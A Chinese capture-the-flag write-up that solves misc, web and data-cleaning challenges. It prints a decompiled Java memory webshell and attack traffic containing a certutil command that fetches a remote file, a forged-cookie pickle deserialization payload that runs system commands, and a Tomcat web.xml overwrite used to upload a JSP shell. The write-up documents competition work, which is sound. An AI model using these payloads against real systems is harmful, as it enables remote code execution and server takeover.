本文最后更新于 100 天前,其中的信息可能已经有所发展或是发生改变。
太卷了,一个人8解,协会其他人也在做,决赛门都摸不着(●ˇ∀ˇ●)
Misc
Hidden
- rot47 + rot13 得到加密脚本,逆向得 flag
- 逆向得flag
import wave
with wave.open("hiden.wav", "rb") as f:
attrib = f.getparams()
wav_data = bytearray(f.readframes(-1))
data = [wav_data[i * 4] for i in range(1000)]
print(bytes(data))
miaoro
- 过滤相关流量
Wireshark: ip.addr == 192.168.1.3 && http
,发现在请求头中有命令执行的痕迹,为攻击shiro流量
GWHT: YCB2024 (base64)
# 部分流量内容
whoami : laptop-39s590m1\asus
net user: Administrator ASUS DefaultAccount
Guest WDAGUtilityAccount
echo Th15_11111111s_pP@sssssw000rd!!!>pass.txt
certutil -urlcache -f "http://192.168.1.3:801/test.txt"
- 通过在线网站爆破常见cookie密钥解密
Cookie
,得到马,package name
为flag1;使用IDEA反编译,用jadx会使{
和-
消失
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
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.flag1.DASCTF{B916CFEB-C40F-45D6-A7BC-;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.util.HashSet;
import java.util.Scanner;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.shiro.codec.Base64;
public class Miao49757142263800 extends AbstractTranslet {
static HashSet h;
static HttpServletRequest r;
static HttpServletResponse p;
private static boolean i(Object var0) {
if (var0 != null && !h.contains(var0)) {
h.add(var0);
return false;
} else {
return true;
}
}
private static void F(Object var0, int var1) {
Class var2 = var0.getClass();
do {
Field var3 = null;
int var4 = var2.getDeclaredFields().length;
for(int var5 = 0; var5 < var4; ++var5) {
var3 = var2.getDeclaredFields()[var5];
var3.setAccessible(true);
Object var6 = null;
try {
var6 = var3.get(var0);
if (!var6.getClass().isArray()) {
p(var6, var1);
} else {
Object var7 = null;
Object[] var8 = (Object[])var6;
int var9 = Array.getLength(var6);
for(int var10 = 0; var10 < var9; ++var10) {
var7 = var8[var10];
p(var7, var1);
}
}
} catch (Exception var12) {
}
}
} while((var2 = var2.getSuperclass()) != null);
}
private static void p(Object var0, int var1) {
if (var1 <= 52 && (r == null || p == null)) {
if (!i(var0)) {
if (r == null && HttpServletRequest.class.isAssignableFrom(var0.getClass())) {
r = (HttpServletRequest)var0;
if (r.getHeader("Host") == null && r.getHeader("Authorization") == null) {
r = null;
} else {
try {
p = (HttpServletResponse)r.getClass().getMethod("getResponse", (Class[])null).invoke(r, (Object[])null);
} catch (Exception var7) {
r = null;
}
}
}
if (r != null && p != null) {
try {
p.addHeader("Host", r.getHeader("Host"));
try {
p.getWriter().println("$$$" + Base64.encodeToString((new Scanner(Runtime.getRuntime().exec(Base64.decodeToString(r.getHeader("GWHT").replaceAll("YCB2024 ", ""))).getInputStream())).useDelimiter("\\A").next().getBytes()) + "$$$");
} catch (Exception var5) {
}
p.getWriter().flush();
p.getWriter().close();
} catch (Exception var6) {
}
return;
}
F(var0, var1 + 1);
}
}
}
public Miao49757142263800() {
r = null;
p = null;
h = new HashSet();
F(Thread.currentThread(), 0);
}
}
- 同时,响应流量中可以发现一个secret.txt,导出后hex转ascii可以得到一张jpg,很明显宽度有问题,尝试修改为与高度同一个值,得到正常图片flag2.jpg
- 识图后找到对照表,拼接即可
不一样的数据库
- 文件末尾附加爆破提示,6位数字:753951,得到残缺二维码,补全
- 得到
NRF@WQUKTQ12345&WWWF@WWWFX#WWQXNWXNU
,尝试rot13
- 搜索文件名相关信息,猜测为KeeWeb加密的产物,打开后在历史记录中找到加密flag
passisDASCTF
WBArAG6ku6ALmLGGn3iq
U2FsdGVkX193h7iNsZs3RsLxH+V1zztkdS+fBy2ZQfzH77Uo4l3hSWplMV+GcLpAGflXlQuPTU5qIkOY7xJN9A==
- AES加盐,存个脚本
from Crypto import Random
from Crypto.Cipher import AES
import base64
from hashlib import md5
def pad(data):
length = 16 - (len(data) % 16)
return data + (chr(length) * length).encode()
def unpad(data):
return data[:-(data[-1] if type(data[-1]) == int else ord(data[-1]))]
def bytes_to_key(data, salt, output=48):
assert len(salt) == 8, len(salt)
data += salt
key = md5(data).digest()
final_key = key
while len(final_key) < output:
key = md5(key + data).digest()
final_key += key
return final_key[:output]
def encrypt(message, passphrase):
salt = Random.new().read(8)
key_iv = bytes_to_key(passphrase, salt, 32 + 16)
key = key_iv[:32]
iv = key_iv[32:]
aes = AES.new(key, AES.MODE_CBC, iv)
return base64.b64encode(b"Salted__" + salt + aes.encrypt(pad(message)))
def decrypt(encrypted, passphrase):
encrypted = base64.b64decode(encrypted)
assert encrypted[0:8] == b"Salted__"
salt = encrypted[8:16]
key_iv = bytes_to_key(passphrase, salt, 32 + 16)
key = key_iv[:32]
iv = key_iv[32:]
aes = AES.new(key, AES.MODE_CBC, iv)
return unpad(aes.decrypt(encrypted[16:]))
passphrase = b"DASCTF"
test = b"U2FsdGVkX193h7iNsZs3RsLxH+V1zztkdS+fBy2ZQfzH77Uo4l3hSWplMV+GcLpAGflXlQuPTU5qIkOY7xJN9A=="
result = decrypt(test, passphrase)
print(result)
so much
- 文件结尾:the key is 1234567 really?,文件名:shift!,那么密码应该是
!@#$%^&
,FTK Imager挂载
- 三百多个.crypto文件,计算后发现只有两种文件
['8a700277f3452770a74c4a2f7a91bbf9' * 166, 'a07e73084ba2272d40469ef294c45200' * 180]
- 观察文件时间,发现只有两种时间,交替出现,尝试导出为二进制,得到密钥
from os import stat
for i in range(344):
t = round(stat(f"data/{i}.crypto").st_mtime)
if t % 100 == 86:
print(0, end="")
else:
print(1, end="")
- 同时搜索
.crypto
相关信息,猜测为Encrypto
加密的产物,分别解密两种文件,得到flag
Web
Lyrics For You
- 任意文件读,得到源代码
import os
import random
from config.secret_key import secret_code
from flask import Flask, make_response, request, render_template
from cookie import set_cookie, cookie_check, get_cookie
import pickle
app = Flask(__name__)
app.secret_key = random.randbytes(16)
class UserData:
def __init__(self, username):
self.username = username
def Waf(data):
blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
valid = False
for word in blacklist:
if word.lower() in data.lower():
valid = True
break
return valid
@app.route("/", methods=['GET'])
def index():
return render_template('index.html')
@app.route("/lyrics", methods=['GET'])
def lyrics():
resp = make_response()
resp.headers["Content-Type"] = 'text/plain; charset=UTF-8'
query = request.args.get("lyrics")
path = os.path.join(os.getcwd() + "/lyrics", query)
try:
with open(path) as f:
res = f.read()
except Exception as e:
return "No lyrics found"
return res
@app.route("/login", methods=['POST', 'GET'])
def login():
if request.method == 'POST':
username = request.form["username"]
user = UserData(username)
res = {"username": user.username}
return set_cookie("user", res, secret=secret_code)
return render_template('login.html')
@app.route("/board", methods=['GET'])
def board():
invalid = cookie_check("user", secret=secret_code)
if invalid:
return "Nope, invalid code get out!"
data = get_cookie("user", secret=secret_code)
if isinstance(data, bytes):
a = pickle.loads(data)
data = str(data, encoding="utf-8")
if "username" not in data:
return render_template('user.html', name="guest")
if data["username"] == "admin":
return render_template('admin.html', name=data["username"])
if data["username"] != "admin":
return render_template('user.html', name=data["username"])
if __name__ == "__main__":
os.chdir(os.path.dirname(__file__))
app.run(host="0.0.0.0", port=8080)
import base64
import hashlib
import hmac
import pickle
from flask import make_response, request
unicode = str
basestring = str
# Quoted from python bottle template, thanks :D
def cookie_encode(data, key):
msg = base64.b64encode(pickle.dumps(data, -1))
sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
return tob('!') + sig + tob('?') + msg
def cookie_decode(data, key):
data = tob(data)
if cookie_is_encoded(data):
sig, msg = data.split(tob('?'), 1)
if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):
return pickle.loads(base64.b64decode(msg))
return None
def waf(data):
blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
valid = False
for word in blacklist:
if word in data:
valid = True
# print(word)
break
return valid
def cookie_check(key, secret=None):
a = request.cookies.get(key)
data = tob(request.cookies.get(key))
if data:
if cookie_is_encoded(data):
sig, msg = data.split(tob('?'), 1)
if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())):
res = base64.b64decode(msg)
if waf(res):
return True
else:
return False
return True
else:
return False
def tob(s, enc='utf8'):
return s.encode(enc) if isinstance(s, unicode) else bytes(s)
def get_cookie(key, default=None, secret=None):
value = request.cookies.get(key)
if secret and value:
dec = cookie_decode(value, secret)
return dec[1] if dec and dec[0] == key else default
return value or default
def cookie_is_encoded(data):
return bool(data.startswith(tob('!')) and tob('?') in data)
def _lscmp(a, b):
return not sum(0 if x == y else 1 for x, y in zip(a, b)) and len(a) == len(b)
def set_cookie(name, value, secret=None, **options):
if secret:
value = touni(cookie_encode((name, value), secret))
resp = make_response("success")
resp.set_cookie("user", value, max_age=3600)
return resp
elif not isinstance(value, basestring):
raise TypeError('Secret key missing for non-string Cookie.')
if len(value) > 4096:
raise ValueError('Cookie value to long.')
def touni(s, enc='utf8', err='strict'):
return s.decode(enc, err) if isinstance(s, bytes) else unicode(s)
- 读取
config/secret_key.py
得到密钥
secret_code = "EnjoyThePlayTime123456"
- 打pickle反序列化RCE,任意文件读得到flag
code = """
(cos
system
S'/readflag > /tmp/1'
os.
""".strip().encode()
print(base64.b64encode(code))
value = touni(cookie_encode(("user", code), "EnjoyThePlayTime123456"))
print(value)
tomtom2
- 有个只能读.xml的接口,尝试读取
/opt/tomcat/conf/tomcat-users.xml
得到用户密码
<h1>Read to file: /opt/tomcat/conf/tomcat-users.xml</h1>
<?xml version="1.0" encoding="UTF-8"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<!--
By default, no user is included in the "manager-gui" role required
to operate the "/manager/html" web application. If you wish to use this app,
you must define such a user - the username and password are arbitrary.
Built-in Tomcat manager roles:
- manager-gui - allows access to the HTML GUI and the status pages
- manager-script - allows access to the HTTP API and the status pages
- manager-jmx - allows access to the JMX proxy and the status pages
- manager-status - allows access to the status pages only
The users below are wrapped in a comment and are therefore ignored. If you
wish to configure one or more of these users for use with the manager web
application, do not forget to remove the <!.. ..> that surrounds them. You
will also need to set the passwords to something appropriate.
-->
<user username="admin" password="This_is_my_favorite_passwd" roles="manager-gui"/>
<!--
The sample user and role entries below are intended for use with the
examples web application. They are wrapped in a comment and thus are ignored
when reading this file. If you wish to configure these users for use with the
examples web application, do not forget to remove the <!.. ..> that surrounds
them. You will also need to set the passwords to something appropriate.
-->
<!--
<role rolename="tomcat"/>
<role rolename="role1"/>
<user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
<user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
<user username="role1" password="<must-be-changed>" roles="role1"/>
-->
</tomcat-users>
- 登录后有个上传接口,经过测试只能上传.xml文件,同时可以目录穿越至其他目录写文件,覆盖web.xml修改后缀名解析,将xml解析为jsp传马即可
<servlet-mapping>
<servlet-name>jsp</servlet-name>
<url-pattern>*.xml</url-pattern>
</servlet-mapping>
数据安全
总结为读文件整理数据,没什么难度(虽然代码写得不好看`(*>﹏<*)′
data-analy1
from string import printable
data = open("person_data.csv", "r", encoding="utf-8").read().strip().split("\n")[1:]
phone_prefix = [
734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772,
778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755,
756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777,
780, 781, 789, 790, 791, 793, 799
]
print(data[0])
data = [i.split(",") for i in data]
tidy = []
for person in data:
tmp = ["" for _ in range(8)]
for i in person:
if i in "男女" and not tmp[4]:
tmp[4] = i
person.remove(i)
for i in person:
if len(i) == 18 and ((i[:-1].isdigit() and i[-1].upper() == "X") or i.isdigit()) and not tmp[6]:
tmp[6] = i
person.remove(i)
for i in person:
if len(i) == 11 and i.isdigit() and int(i[:3]) in phone_prefix and not tmp[7]:
tmp[7] = i
person.remove(i)
for i in person:
if len(i) == 8 and all([_.isdigit() for _ in i]) and i in tmp[6] and not tmp[5]:
tmp[5] = i
person.remove(i)
for i in person:
if all([_ not in printable for _ in i]) and i not in "男女" and not tmp[3]:
tmp[3] = i
person.remove(i)
for i in person:
if len(i) == 32 and not tmp[2]:
tmp[2] = i
person.remove(i)
for i in person:
if i.isdigit() and not tmp[0]:
tmp[0] = i
person.remove(i)
for i in person:
if i not in tmp:
tmp[1] = i
person.remove(i)
tidy.append(tmp)
tidy = [','.join(i) for i in tidy]
data = "编号,用户名,密码,姓名,性别,出生日期,身份证号,手机号码\n" + "\n".join(tidy)
open("data.csv", "w", encoding="utf-8").write(data)
data-analy2
- 给了个pcapng,读取解析即可,正确率98%,懒得细找问题了,过了就行
from json import loads
from pyshark import FileCapture
from string import printable
data = []
phone_prefix = [
734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772,
778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755,
756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777,
780, 781, 789, 790, 791, 793, 799
]
pre = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
check = ["1", "0", "X", "9", "8", "7", "6", "5", "4", "3", "2"]
file = FileCapture("data.pcapng", display_filter="http && tcp.port == 3000")
for i in file:
req: bytes = bytes.fromhex(i.tcp.payload.replace(":", ""))
req: bytes = req.strip().split(b"\r\n\r\n")[-1]
try:
req: dict[str] = loads(req)
except Exception as e:
continue
if not req["username"].isalnum():
data.append(req)
continue
if any([i in req["name"] for i in printable]):
data.append(req)
continue
if req["sex"] not in "男女":
data.append(req)
continue
if req["birth"] != req["idcard"][6:14] or len(req["birth"]) != 8:
data.append(req)
continue
id_card = req["idcard"]
condition = [
len(id_card) == 18,
True if (int(id_card[-2]) % 2 == 0 and req["sex"] == "女") or (
int(id_card[-2]) % 2 == 1 and req["sex"] == "男") else False,
check[int(sum([int(id_card[i]) * pre[i] for i in range(17)]) % 11)] == id_card[-1]
]
if not all(condition):
data.append(req)
continue
if len(req["phone"]) != 11 or int(req["phone"][:3]) not in phone_prefix or not req["phone"].isdigit():
data.append(req)
continue
a = [[i["username"], i["name"], i["sex"], i["birth"], i["idcard"], i["phone"]] for i in data]
a = [",".join(i) for i in a]
a = "\n".join(a)
with open("test.csv", "w", encoding="utf-8") as f:
f.write("username,name,sex,birth,idcard,phone\n")
f.write(a)
data-analy3
- 正确率100%,给了个日志,数据都在error.log里,剩下的没东西,同时注意分别请求有两种情况,用户名正确时会回复密码;用户名不存在的情况要剔除;同时还需校验数据格式
# 图写的快,直接硬解析,写的实在是乱,不想看第二遍
from hashlib import md5
from urllib.parse import unquote
from string import printable
pre = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
check = ["1", "0", "X", "9", "8", "7", "6", "5", "4", "3", "2"]
phone_prefix = [
734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772,
778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755,
756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777,
780, 781, 789, 790, 791, 793, 799
]
data = open("apache2/error.log", "r").read().strip().split("\n")
with open("test.csv", "w", encoding="utf-8") as f:
f.write("username,password,name,idcard,phone\n")
skip = False
for i in data:
if "username" in i:
i = i.split("dumpio_in (data-HEAP): ")[-1].strip().split("&")
username = unquote(i[0].split("=")[1])
if not username.isalnum():
skip = True
continue
name = unquote(i[1].split("=")[1])
if any([i in printable for i in name]):
skip = True
continue
id_card = i[2].split("=")[1]
condition = [
len(id_card) == 18,
check[int(sum([int(id_card[i]) * pre[i] for i in range(17)]) % 11)] == id_card[-1]
]
if not all(condition):
skip = True
continue
phone = i[3].split("=")[1]
if len(phone) != 11 or int(phone[:3]) not in phone_prefix or not phone.isdigit():
skip = True
continue
skip = False
username = username[0] + "*" if len(username) == 2 else username[0] + "*" * (len(username) - 2) + username[
-1]
name = name[0] + "*" if len(name) == 2 else name[0] + "*" * (len(name) - 2) + name[-1]
id_card = "*" * 6 + id_card[6:10] + "*" * 8
phone = phone[:3] + "*" * 4 + phone[-4:]
if r"\xe6\x82\xa8\xe7\x9a\x84\xe4\xbf" in i and not skip:
password = md5(i.replace("\\n", "").strip().rsplit(": ")[-1].encode()).hexdigest()
f.write(f"{username},{password},{name},{id_card},{phone}\n")
skip = False